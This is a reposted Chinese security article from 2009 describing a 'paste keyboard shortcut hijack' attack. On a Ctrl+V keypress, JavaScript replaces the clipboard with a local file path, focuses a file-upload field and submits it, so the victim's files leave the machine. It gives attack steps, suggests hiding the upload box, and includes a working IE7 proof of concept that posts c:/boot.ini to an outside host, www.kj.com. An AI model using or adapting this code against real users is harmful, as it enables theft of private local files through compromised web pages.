首页 电脑 电脑学堂 查看内容

Javascript Paste Keyboard Shortcuts Hijack

2009-10-17 10:24 943 0

摘要: author : kj021320 team : I.S.T.O 这样的攻击手段也算是极其无耻 猥琐之极! 所以防御措施一定要做好       ...
关键词: nbsp 文件 用户 快捷键 Javascript Shortcuts Keyboard 攻击手 首先 回事

author : kj021320 team : I.S.T.O 这样的攻击手段也算是极其无耻 猥琐之极! 所以防御措施一定要做好       首先说一下通过Javascript Paste Keyboard Shortcuts Hijack能做什么???能够读取你本地机器任何文件! 没错!也就是说 你中了任何一个XSS 加上你按了粘贴快捷键后,你就有可能被别人读取你机上任何的文件! 那到底是什么回事呢? OK 我慢慢来说 首先 我们知道JS是无权限获读取你本地任何文件的... 那么我们必须要让用户上传自己的文件! 怎么让用户上传呢? 很简单! 通过 <input  type=file > 这样就能让用户上传文件了! 现在又一个问题是, input 为file的时候  value的值 不能用代码set进去!必须要让用户自己填写! 必须要通过人机交互! 其实说到这里!聪明的你大致也应该明白怎么回事! 接着说! 用户不可能把自己的文件填写上去提交给你看的吧? 没错~ 那么 就等待用户 进行快捷键粘贴的时候 哈哈~~说说步骤 1. 判断是否 进行 ctrl + v 2. 替换粘贴板 3. 光标切换到 文件上传 4. 善后工作就交给你了 ( 例如如何把上传textbox透明化,当前页面不会因表单提交而跳转  ) IE7 下的 POC :   <HTML> <HEAD>  <TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE> </HEAD><body   onkeydown="temp()"><input><form action="http://www.kj.com" method=post name=s><input id=kj_filehijack type=file name=fhijack></form><script>function temp(){    if(event.ctrlKey){        if(event.keyCode==86){            window.clipboardData.setData("text","c:/boot.ini");            document.getElementById('kj_filehijack').focus();            document.s.submit();        }    }}</script></BODY></HTML>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部